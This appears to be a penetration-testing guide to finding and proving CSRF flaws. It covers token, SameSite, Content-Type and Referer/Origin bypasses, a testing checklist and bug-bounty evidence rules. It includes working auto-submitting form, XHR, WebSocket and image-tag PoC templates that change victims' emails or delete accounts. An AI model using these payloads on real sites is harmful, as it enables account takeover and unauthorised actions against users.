| CWE | CWE-352 |
| WSTG | WSTG-SESS-05 |
| MITRE ATT&CK | T1185 |
| CVSS Range | 4.3-8.0 |
| Tools | burp |
| Difficulty | basic |
Cross-Site Request Forgery (CSRF)
CSRF forces authenticated users to execute unwanted actions by exploiting the trust a site has in the user's browser. The attack works because browsers automatically include credentials (session cookies, etc.) with requests to the target site, and succeeds when state-changing endpoints lack adequate token validation, SameSite restrictions, or origin checks.
Quick Reference
| Check | Command/Action |
|---|---|
| Find state-changing endpoints | Intercept POST/PUT/DELETE requests in proxy |
| Check cookie attributes | curl -v [URL] 2>&1 | grep -i "set-cookie" |
| Find CSRF tokens in forms | curl -s [URL] | grep -iE "(csrf|token|_token|nonce|authenticity)" |
| Check CSRF cookie | curl -v [URL] 2>&1 | grep -iE "csrf|xsrf" |
| Test token removal | Remove CSRF token param entirely, replay request |
| Test empty token | Set CSRF token to empty string |
| Test GET method | curl -X GET "[URL]?param=value" for POST endpoints |
| Test Content-Type bypass | Replay with text/plain or application/x-www-form-urlencoded |
Priority targets (highest CSRF impact):
- Password/email change endpoints
- Financial transaction endpoints
- User role/permission changes
- API key generation/deletion
- Account deletion
- Admin panel functions
Bypassing Token Validation
Test every endpoint that has a CSRF token. Token presence does not mean protection is complete.
Token Analysis
Collect multiple tokens from the same endpoint and analyze:
- Are tokens unique per request or static?
- Are tokens tied to the session? (Use one session's token in another)
- What is the token length and format? (<16 chars may be brute-forceable)
- Is the token predictable (timestamp-based, sequential, MD5 of known values)?
- Is the token in the URL? (Leaks via Referer header)
Look for token field names: csrf_token, _token, authenticity_token, __RequestVerificationToken, _csrf, nonce.
Look for token headers: X-CSRF-Token, X-XSRF-Token, X-Requested-With.
Token Removal
Remove the CSRF token parameter entirely. Many applications only validate the token if it is present.
<form id="csrf-form" action="https://TARGET/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<!-- CSRF token intentionally omitted -->
</form>
<script>document.getElementById('csrf-form').submit();</script>
Empty Token Value
Test if an empty string is accepted as a valid token:
<form id="csrf-form" action="https://TARGET/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="csrf_token" value="">
</form>
Null and Special Values
Test special values that might bypass validation logic:
<input type="hidden" name="csrf_token" value="null">
<input type="hidden" name="csrf_token" value="undefined">
<input type="hidden" name="csrf_token" value="0">
<input type="hidden" name="csrf_token" value="[]">
<input type="hidden" name="csrf_token" value="{}">
Token Reuse Across Sessions
If the token is not session-bound, an attacker can use their own valid token:
- Log in as the attacker, extract a CSRF token
- Embed that token in a PoC targeting the victim
- If the application validates token existence but not session binding, the attack succeeds
Token Reuse Across Endpoints
Some applications share a token pool across endpoints. Get a token from a low-privilege endpoint (e.g., /api/user/preferences) and use it on a high-privilege endpoint (e.g., /api/admin/create-user).
Parameter Location Manipulation
Move the token to a different location than expected:
# Token expected in body -- try URL parameter
curl -X POST "https://TARGET/api/action?csrf_token=TOKEN" -d "param=value"
# Token expected in header -- try body parameter
curl -X POST "https://TARGET/api/action" -d "param=value&X-CSRF-Token=TOKEN"
# Token expected in URL -- try body
curl -X POST "https://TARGET/api/action" -d "param=value&csrf_token=TOKEN"
HTTP Method Override
If the token is only validated on POST, bypass by using GET with a method override:
<form id="csrf-form" action="https://TARGET/api/action?_method=POST" method="GET">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
Also try the X-HTTP-Method-Override: POST header on a GET request.
Bypassing SameSite Cookies
Analyzing Cookie Attributes
Examine all Set-Cookie headers for the session cookie. Document each attribute:
curl -v -c - [LOGIN_URL] 2>&1 | grep -i "set-cookie"
Record for each cookie:
- SameSite:
Strict,Lax,None, or absent (browser defaults to Lax) - Secure: Present or absent (required when
SameSite=None) - HttpOnly: Present or absent
- Domain: Scope of the cookie (
.target.comincludes subdomains) - Path: Path restriction
SameSite=Lax vs Strict
| Attribute | Cross-site form POST | Top-level GET navigation | Subframe | fetch/XHR |
|---|---|---|---|---|
| Strict | Blocked | Blocked | Blocked | Blocked |
| Lax | Blocked | Allowed | Blocked | Blocked |
| None | Allowed | Allowed | Allowed | Allowed |
Top-Level Navigation (SameSite=Lax Bypass)
When the session cookie is SameSite=Lax, cookies are sent on top-level GET navigations. Exploit this if the target endpoint accepts GET:
<!-- Auto-redirect -->
<script>window.location = "https://TARGET/api/action?param=value";</script>
<!-- Meta refresh -->
<meta http-equiv="refresh" content="0; url=https://TARGET/api/action?param=value">
<!-- Link click (requires user interaction) -->
<a href="https://TARGET/api/action?param=value">Click here</a>
First verify the endpoint accepts GET: curl -X GET "https://TARGET/api/change-email?email=attacker@evil.com"
Popup Window Method
Opening a new window counts as a top-level navigation (cookies sent with SameSite=Lax):
<script>window.open('https://TARGET/api/action?param=value');</script>
Two-Minute Lax+POST Window (Chrome)
Chrome permits SameSite=Lax cookies on cross-site POST requests within 2 minutes of cookie creation. If the victim just logged in, a standard form POST may work:
<form id="csrf-form" action="https://TARGET/api/action" method="POST">
<input type="hidden" name="param" value="value">
</form>
<script>document.getElementById('csrf-form').submit();</script>
WebSocket Bypass
WebSocket connections may not respect SameSite restrictions. If the application uses WebSockets for state-changing operations, test:
const ws = new WebSocket('wss://TARGET/socket');
ws.onopen = function() {
ws.send(JSON.stringify({action: 'change_email', email: 'attacker@evil.com'}));
};
Exploiting JSON Endpoints
Many modern APIs expect application/json Content-Type. Standard HTML forms cannot set this header, but several bypass techniques exist.
Content-Type Bypass Testing
Test whether the server actually validates Content-Type. Send the same JSON body with different Content-Types:
# Standard JSON
curl -X POST https://TARGET/api/action -H "Content-Type: application/json" \
-d '{"email":"test@test.com"}'
# text/plain (no CORS preflight)
curl -X POST https://TARGET/api/action -H "Content-Type: text/plain" \
-d '{"email":"test@test.com"}'
# Form-encoded (no CORS preflight)
curl -X POST https://TARGET/api/action -H "Content-Type: application/x-www-form-urlencoded" \
-d 'email=test@test.com'
# Multipart form
curl -X POST https://TARGET/api/action -F 'email=test@test.com'
# No Content-Type header
curl -X POST https://TARGET/api/action -d '{"email":"test@test.com"}'
If the server accepts text/plain or application/x-www-form-urlencoded, you can forge JSON requests from HTML forms without triggering a CORS preflight.
text/plain Form Trick
HTML forms support enctype="text/plain". Craft the input name to produce valid JSON:
<form id="csrf-form" action="https://TARGET/api/action" method="POST" enctype="text/plain">
<input type="hidden" name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<!-- Produces body: {"email":"attacker@evil.com","ignore":"="} -->
<script>document.getElementById('csrf-form').submit();</script>
For cleaner JSON (avoiding the trailing =):
<form id="csrf-form" action="https://TARGET/api/action" method="POST" enctype="text/plain">
<textarea name='{"email":"attacker@evil.com","padding":"'>x</textarea>
</form>
fetch with credentials (CORS-dependent)
If the target has a permissive CORS policy, use fetch directly:
fetch('https://TARGET/api/action', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'}),
credentials: 'include'
});
This triggers a CORS preflight. If the preflight is incorrectly configured (e.g., Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true), the attack succeeds.
Key insight: CORS prevents reading cross-origin responses, not sending requests. A CORS error does not mean the request was not executed. Check whether the state change occurred even if the browser reports a CORS failure.
Exploiting Content-Type Handling
HTML forms can only send three Content-Types without triggering a CORS preflight:
application/x-www-form-urlencodedmultipart/form-datatext/plain
Any other Content-Type (including application/json) triggers a preflight OPTIONS request. If the server does not respond correctly to the preflight, the browser blocks the request.
Your testing approach:
- Identify what Content-Type the endpoint expects
- Test each of the three "simple" Content-Types to see if the server accepts them
- If
text/plainis accepted and the server parses JSON from the body, use the form trick above - If
application/x-www-form-urlencodedis accepted, use a standard form - Test with no Content-Type header at all
Bypassing Referer and Origin Checks
Some applications rely on Referer or Origin header validation instead of tokens.
Remove Referer Header
Use the <meta> tag to suppress the Referer header:
<meta name="referrer" content="no-referrer">
<form id="csrf-form" action="https://TARGET/api/action" method="POST">
<input type="hidden" name="param" value="value">
</form>
<script>document.getElementById('csrf-form').submit();</script>
If the application only rejects requests with a wrong Referer but accepts requests with no Referer, this bypasses the check.
Referer Spoofing via URL Structure
If validation is a substring match, host the PoC on a domain containing the target domain:
https://target.com.attacker.com/csrf.html (subdomain trick)
https://attacker.com/target.com/csrf.html (path trick)
https://attacker.com/?ref=target.com (query trick)
Origin Header
The Origin header cannot be removed or spoofed from a browser. However, test whether:
- The application checks Origin at all
- The application accepts
nullOrigin (sent from sandboxed iframes, data: URIs, file: URIs)
<!-- Sends Origin: null -->
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,
<form id='f' action='https://TARGET/api/action' method='POST'>
<input name='param' value='value'>
</form>
<script>document.getElementById('f').submit();</script>">
</iframe>
Exploiting Subdomains for Same-Site Bypass
SameSite treats subdomains as same-site. If you control any subdomain of the target (via subdomain takeover, XSS on a subdomain, or a user-controllable subdomain), you can perform CSRF against the main domain.
attacker.target.com --> api.target.com (same-site, cookies sent)
Steps:
- Check for subdomain takeover (dangling CNAME records, unclaimed services)
- Check for XSS on any subdomain
- Check for user-controllable subdomains (e.g.,
USERNAME.target.com) - If any subdomain is controllable, host the CSRF PoC there -- all SameSite restrictions are bypassed
<!-- Hosted on evil.target.com (attacker-controlled subdomain) -->
<form id="csrf-form" action="https://api.target.com/action" method="POST">
<input type="hidden" name="param" value="value">
</form>
<script>document.getElementById('csrf-form').submit();</script>
Also check the session cookie's Domain attribute. If set to .target.com, the cookie is sent to all subdomains, enabling the attack from any subdomain.
Exploiting Login CSRF
Login CSRF forces the victim to log into the attacker's account. This is often dismissed but can have real impact:
- Victim performs actions (uploads, purchases, saves payment methods) in the attacker's account
- Attacker monitors victim's activity through their own account
- Saved payment methods or sensitive data are exposed to the attacker
- Search history, browsing patterns, and preferences are captured
<form id="csrf-form" action="https://TARGET/login" method="POST">
<input type="hidden" name="username" value="attacker_account">
<input type="hidden" name="password" value="attacker_password">
</form>
<script>document.getElementById('csrf-form').submit();</script>
Report login CSRF when you can demonstrate concrete impact (payment method capture, data exposure).
Building Proof-of-Concept Exploits
Basic HTML Form PoC
Use this as your starting template. Replace placeholders with actual values.
<!DOCTYPE html>
<html>
<head><title>CSRF PoC - [ACTION]</title></head>
<body>
<h1>CSRF PoC - [ACTION DESCRIPTION]</h1>
<p>Target: [TARGET URL]</p>
<p>Impact: [IMPACT DESCRIPTION]</p>
<form id="csrf-form" action="https://TARGET/api/action" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="submit" value="Submit Request">
</form>
<!-- Auto-submit (uncomment for automated PoC) -->
<!--
<script>document.getElementById('csrf-form').submit();</script>
-->
</body>
</html>
XHR-Based PoC
For when you need to set headers or handle the response:
<!DOCTYPE html>
<html>
<body>
<h1>CSRF PoC - XHR</h1>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://TARGET/api/action', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('param1=value1¶m2=value2');
</script>
</body>
</html>
Multi-Step CSRF PoC
For actions requiring multiple sequential requests:
<!DOCTYPE html>
<html>
<body>
<iframe id="frame1" name="frame1" style="display:none"></iframe>
<iframe id="frame2" name="frame2" style="display:none"></iframe>
<!-- Step 1: Initiate action -->
<form id="step1" action="https://TARGET/api/initiate" method="POST" target="frame1">
<input type="hidden" name="action" value="change_email">
</form>
<!-- Step 2: Confirm action -->
<form id="step2" action="https://TARGET/api/confirm" method="POST" target="frame2">
<input type="hidden" name="confirm" value="true">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
document.getElementById('step1').submit();
setTimeout(function() {
document.getElementById('step2').submit();
}, 2000);
</script>
</body>
</html>
JSON CSRF PoC (text/plain trick)
<!DOCTYPE html>
<html>
<body>
<form id="csrf-form" action="https://TARGET/api/action" method="POST" enctype="text/plain">
<input type="hidden" name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
WebSocket CSRF PoC
<!DOCTYPE html>
<html>
<body>
<div id="status">Connecting...</div>
<script>
const ws = new WebSocket('wss://TARGET/socket');
ws.onopen = function() {
document.getElementById('status').textContent = 'Connected. Sending payload...';
ws.send(JSON.stringify({
action: 'update_profile',
data: { email: 'attacker@evil.com' }
}));
};
ws.onmessage = function(event) {
document.getElementById('status').textContent += '\nResponse: ' + event.data;
};
</script>
</body>
</html>
GET-Based CSRF (Image Tag)
For endpoints that perform state changes via GET:
<img src="https://TARGET/api/delete_account?confirm=true" style="display:none">
Assessing Impact
Always check if CSRF can be chained. Example: email change CSRF + password reset flow = full account takeover.
Evidence Requirements
For a valid report, provide:
- Working PoC HTML file
- Screenshot of victim state before the attack
- Screenshot or evidence of PoC execution
- Screenshot of victim state after the attack showing the change
- Clear explanation of the realistic attack scenario
- Browser(s) tested and versions
Tools
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept requests, identify CSRF tokens, generate PoC (right-click > Engagement tools > Generate CSRF PoC) |
| Browser DevTools | Inspect cookies (Application tab), check SameSite attributes, monitor network requests |
| curl | Test endpoint behavior with modified headers, tokens, methods |
| Python requests | Script token analysis (collect multiple tokens, test reuse) |
Testing Checklist
Complete all items before closing CSRF investigation on an endpoint.
Token Analysis:
- Check if CSRF token is present
- Test with token removed entirely
- Test with empty token value
- Test with invalid/random token
- Test token from a different session
- Test token from a different endpoint
- Test moving token to different parameter location (body/URL/header)
SameSite Analysis:
- Document cookie attributes (SameSite, Secure, HttpOnly, Domain)
- Test top-level navigation (if Lax or absent)
- Test popup window method
- Check for controllable subdomains (subdomain takeover, XSS)
Content-Type Analysis:
- Test with
application/x-www-form-urlencoded - Test with
text/plain - Test JSON via form trick (
enctype="text/plain") - Test with no Content-Type header
- Test with
multipart/form-data
Method Analysis:
- Test if endpoint accepts GET for state-changing actions
- Test method override (
X-HTTP-Method-Override,_methodparam)
Referer/Origin Bypass:
- Test with Referer header removed (
<meta name="referrer" content="no-referrer">) - Test with
Origin: null(sandboxed iframe) - Test Referer substring matching bypass
PoC:
- Create working PoC HTML if vulnerable
- Test PoC in browser and confirm state change
- Capture before/after evidence
- Document complete attack scenario
Prioritization
Test these first (highest real-world exploitability)
- CSRF on password/email change endpoints -- Highest impact CSRF. Email change + password reset = full account takeover chain. EPSS is moderate but impact is Critical when chained.
- CSRF on financial transaction endpoints -- Payment, transfer, and purchase endpoints without CSRF protection enable direct financial loss.
- CSRF on admin panel functions -- User role changes, API key generation, and account deletion via admin endpoints have the widest blast radius.
Test these if time permits (lower exploitability)
- CSRF on settings/preferences endpoints -- Lower impact individually but can enable further attacks (e.g., changing notification email to attacker's address).
- JSON endpoint CSRF via text/plain trick -- Only exploitable if the server accepts
text/plainContent-Type for JSON endpoints. Many modern frameworks reject mismatched Content-Types. - Login CSRF -- Requires demonstrating concrete impact (payment method capture, data exposure in attacker's account). Often dismissed by bug bounty programs without clear impact.
Skip if
- All state-changing endpoints use SameSite=Strict cookies with no subdomain attack surface
- Application is a pure API (no browser-based sessions, only token-based auth via Authorization header)
- All forms use per-request CSRF tokens that are validated server-side and session-bound
Asset criticality
Prioritize by action severity: account takeover chains (email/password change) > financial actions > privilege modifications > data modifications > preference changes. CSRF on endpoints requiring re-authentication is lower priority since the attacker cannot supply the victim's current password.